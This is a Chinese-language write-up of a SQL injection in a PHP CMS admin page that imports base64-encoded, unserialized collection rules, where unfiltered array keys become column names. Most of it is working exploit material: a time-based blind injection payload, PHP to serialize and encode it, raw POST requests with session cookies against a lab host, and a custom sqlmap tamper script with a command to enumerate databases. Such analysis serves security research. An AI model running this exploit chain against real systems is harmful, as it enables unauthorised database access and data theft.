记一次奇怪的注入
其中的部分代码
elseif($action=="importok")
{
$importrule = trim($importrule);
if(empty($importrule))
{
ShowMsg("规则内容为空!","-1");
exit();
}
//对Base64格式的规则进行解码
if(m_ereg('^BASE64:',$importrule))
{
if(!m_ereg(':END$',$importrule))
{
ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
exit();
}
$importrules = explode(':',$importrule);
$importrule = $importrules[1];
$importrule = unserialize(base64_decode($importrule)) OR die('配置字符串有错误!');
//die(base64_decode($importrule));
}
else
{
ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
exit();
}
if(!is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type']))
{
ShowMsg('该规则不合法,无法导入!','-1');
exit();
}
$data = $importrule['config'];
unset($data['cid']);
$data['cname'].="(导入时间:".date("Y-m-d H:i:s").")";
$data['cotype'] = '1';
$sql = si("sea_co_config",$data,1);
$dsql->ExecuteNoneQuery($sql);
$cid = $dsql->GetLastID();
if (!empty($importrule['type'])){
foreach ($importrule['type'] as $type){
unset($type['tid']);
$type['cid'] = $cid;
$type['addtime'] = time();
$type['cjtime'] = '';
$type['cotype'] = '1';
$data = $type;
$sql = si("sea_co_type",$data,1);
$dsql->ExecuteNoneQuery($sql);
}
}
ShowMsg('成功导入规则!','admin_collect_news.php');
exit;
}
首先对格式进行验证,之后base64解码。反序列化操作,之后检查对应参数是否为数组
si函数
function si($table, $data, $needQs=false)
{
if (count($data)>1)
{
$t1 = $t2 = array();
$i=0;
foreach($data as $key=>$value)
{
if($i!=0&&$i%2==0)
{
$t1[] = $key;
$t2[] = $needQs?qs($value):"'$value'";
}
$i+=1;
}
$sql = "INSERT INTO `$table` (`".implode("`,`",$t1)."`) VALUES(".implode(",",$t2).")";
}
else
{
$arr = array_keys($data);
$feild = $arr[0];
$value = $data[$feild];
$value = $needQs?qs($value):"'$value'";
$sql = "INSERT INTO `$table` (`$feild`) VALUES ($value)";
}
return $sql;
}
function qs($s)
{
return "'".addslashes($s)."'";
}
这里是对参数进行拼接和过滤,可以看到字段名没有被过滤,但是字段使用了addslashes函数过滤,所以我们可以看他拼接的过程,看看是否可以传入注释符,进行绕过,构造传入数据包
$importrule=array
(
"config"=>array
(
"cname"=>"1",
"cotype"=>"1",
"getlistnum`) values(3+(1=2 OR (SELECT 4391 FROM (SELECT(SLEEP(2)))dhMx)))#"=>123
),
"type"=>array()
);
POST /xpmz9t/admin_collect_news.php?action=importok HTTP/1.1
Host: 192.168.164.138:89
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tt4uitbucrgi526e3k1l53uv82; history=%5B%7B%22name%22%3A%22asdasd%22%2C%22pic%22%3A%22%2Fpic%2Fnopic.gif%22%2C%22link%22%3A%22%2Fvideo%2F%3F3-0-0.html%22%2C%22part%22%3A%22%22%7D%5D; XDEBUG_SESSION=16962
Connection: close
Content-Length: 166
importrule=BASE64:YToyOntzOjY6ImNvbmZpZyI7YTozOntzOjU6ImNuYW1lIjtzOjE6IjEiO3M6NjoiY290eXBlIjtzOjE6IjEiO3M6MTA6ImdldGxpc3RudW0iO2k6MTIzO31zOjQ6InR5cGUiO2E6MDp7fX0=:END
可以看到传入的只有最后一个参数被拼接到sql语句
继续构造payload
<?php
$importrule=array
(
"config"=>array
(
"cname"=>"1",
"cotype"=>"1",
"getlistnum`) values(3+(1=2 OR (SELECT 4391 FROM (SELECT(SLEEP(2)))dhMx)))#"=>123
),
"type"=>array()
);
//echo serialize($importrule);
echo "BASE64:";
echo base64_encode(serialize($importrule));
echo ":END";
POST /xpmz9t/admin_collect_news.php?action=importok HTTP/1.1
Host: 192.168.164.138:89
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tt4uitbucrgi526e3k1l53uv82; history=%5B%7B%22name%22%3A%22asdasd%22%2C%22pic%22%3A%22%2Fpic%2Fnopic.gif%22%2C%22link%22%3A%22%2Fvideo%2F%3F3-0-0.html%22%2C%22part%22%3A%22%22%7D%5D; XDEBUG_SESSION=16962
Connection: close
Content-Length: 166
importrule=BASE64:YToyOntzOjY6ImNvbmZpZyI7YTozOntzOjU6ImNuYW1lIjtzOjE6IjEiO3M6NjoiY290eXBlIjtzOjE6IjEiO3M6NzQ6ImdldGxpc3RudW1gKSB2YWx1ZXMoMysoMT0yIE9SIChTRUxFQ1QgNDM5MSBGUk9NIChTRUxFQ1QoU0xFRVAoMikpKWRoTXgpKSkjIjtpOjEyMzt9czo0OiJ0eXBlIjthOjA6e319:END
数据包在拼接之后payload没有被过滤,接下来跟进ExecuteNoneQuery函数
function ExecuteNoneQuery($sql='')
{
global $dsql;
self::$i++;
if($dsql->isClose)
{
$this->Open(false);
$dsql->isClose = false;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
if(is_array($this->parameters))
{
foreach($this->parameters as $key=>$value)
{
$this->queryString = str_replace("@".$key,"'$value'",$this->queryString);
}
}
//SQL语句安全检查
if($this->safeCheck) CheckSql($this->queryString,'update');
return mysqli_query($this->linkID,$this->queryString);
}
发现这里的checksql函数没有被执行,我们构造的sql语句直接执行
构造sqlmap脚本
#!/usr/bin/env python
#addnote.py
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import base64
from lib.core.common import randomRange
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def dependencies():
pass
def tamper(payload, **kwargs):
b='getlistnum`) values(3+(1=2 qqq))#'
b=b.replace('qqq',payload)
a='a:2:{s:6:"config";a:3:{s:5:"cname";s:1:"1";s:6:"cotype";s:1:"1";s:len:"string";i:123;}s:4:"type";a:0:{}}'
a=a.replace('len',str(len(b)))
a=a.replace('string',b)
retVal="BASE64:"+base64.b64encode(a)+":END"
return retVal
sqlmap.py -r D:\12.txt --risk 3 --technique=T --dbms=mysql -v 4 -p importrule --tamper=addnote –dbs